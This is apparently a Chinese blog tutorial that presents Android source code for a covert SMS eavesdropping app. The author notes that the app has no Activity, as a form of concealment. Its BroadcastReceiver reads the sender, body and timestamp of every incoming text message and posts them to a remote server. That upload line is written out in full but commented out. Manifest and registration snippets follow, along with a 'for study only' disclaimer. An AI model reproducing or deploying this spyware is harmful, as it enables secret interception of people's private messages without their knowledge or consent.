android 广播概念,在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。由于是“监听程序”,所以就不需要建立Activity。这样也算是一...

在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。

由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。

package cn.itcast.sms;

import java.sql.Date;

import java.text.SimpleDateFormat;

import java.util.HashMap;

import java.util.Map;

import cn.itcast.utils.SocketHttpRequester;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsMessage;

import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {

//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听

@Override

public void onReceive(Context context, Intent intent) {

Object[] pduses = (Object[])intent.getExtras().get("pdus");

for(Object pdus : pduses){

byte[] pdusmessage = (byte[]) pdus;//没一条短信

SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);

String mobile = sms.getOriginatingAddress();//得到电话号码

String content = sms.getMessageBody();//得到短信的内容

Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间

//2009-10-12 12:21:23

SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式

String sendtime = format.format(date);

Map params = new HashMap();

params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里

params.put("mobile", mobile);

params.put("content", content);

params.put("sendtime", sendtime);

try {//利用socket向服务器发送窃听到的内容

//SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");

} catch (Exception e) {

Log.e("SMSBroadcastReceiver", e.toString());

}

}

}

}

注意修改Android项目文件的配置

package="cn.itcast.sms"

android:versionCode="1"

android:versionName="1.0">

最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。

第一,通过代码的方式注册;



当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED

我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:

//生成广播处理

smsBroadCastReceiver = new SmsBroadCastReceiver();

//实例化过滤器并设置要过滤的广播

IntentFilter intentFilter = new IntentFilter();

intentFilter.addAction(SMS_ACTION);

//注册广播

BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值